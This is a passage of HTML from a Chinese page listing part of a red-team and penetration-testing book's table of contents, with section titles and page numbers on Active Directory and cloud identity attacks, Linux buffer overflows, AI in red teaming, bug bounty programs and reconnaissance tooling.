!important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">控制条目  213</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.13　Golden SAML攻击  213</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.14　Microsoft Entra Connect（Azure AD Connect）Sync账户接管  215</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.3.15　Microsoft Entra 特权身份管理</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">滥用  216</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.4　高级Linux环境攻击技术  217</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.4.1　缓冲区溢出原理简述  217</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.4.2　缓冲区溢出的利用方法  217</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.4.3　易受攻击代码示例  219</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.4.4　使用面向返回编程绕过不可执行栈保护  222</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.4.5　使用ROP绕过NX保护  223</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">7.5　技能测试  225</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第8章　AI时代下红队评估的发展</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">前景  228</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.1　理解AI在红队评估中的现状  229</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.2　构建AI驱动的渗透测试工具  230</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.3　研究微调过的未经审查的AI模型  242</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4　理解红队评估中的检索增强生成</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">技术  244</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4.1　向量嵌入  245</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4.2　向量数据库存储  247</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4.3　用户查询处理  249</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4.4　语义搜索与文档检索  249</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4.5　LLM或SLM的上下文准备  252</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.4.6　响应生成、后处理与优化  253</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.5　AI与自主系统的红队评估  256</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.6　跟进快速发展的技术  263</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">8.7　技能测试  264</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第9章　漏洞挖掘与高效信息收集</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">导论  267</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.1　理解漏洞挖掘计划  267</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.1.1　漏洞挖掘计划的类型  268</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.1.2　攻击面管理与漏洞挖掘计划</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">对比  270</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.1.3　漏洞披露计划与漏洞挖掘计划的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">对比  271</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.1.4　入门指南：如何成为漏洞挖掘</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">计划中的道德黑客  271</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.1.5理解参与范围与规则约定  272</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2探索有效的信息收集  274</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.1主动式与被动式信息收集  274</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.2理解开源情报  275</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.3　利用DNS进行信息收集  276</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.4　识别技术和管理联系人  279</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.5识别云资产与自托管资产  281</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.6社交媒体数据抓取  284</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.7密码学缺陷  285</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.8　利用证书透明度获取内部和外部</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">主机的敏感信息  290</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.9利用密码转储文件  292</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.10文件元数据信息收集  294</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.11搜索引擎战略分析与枚举  296</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.12网站归档/缓存  297</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.13　公共源代码仓库、密钥和其他</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">敏感信息  298</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.14　信息收集工具Recon-ng的</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">使用  298</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.15Shodan  304</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.16　Amass、Maltego及其他开源情</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">报工具  305</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.17　使用生成式人工智能和Gorilla</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">大语言模型来与Amass等工具</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">交互  306</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.2.18　使用Open Interpreter与信息收集工具交互  307</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.3开展主动式信息收集  311</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.3.1　使用Python创建自己的扫</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">描器  313</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.3.2探索不同类型的枚举  314</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">9.3.3　在漏洞挖掘中使用</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box 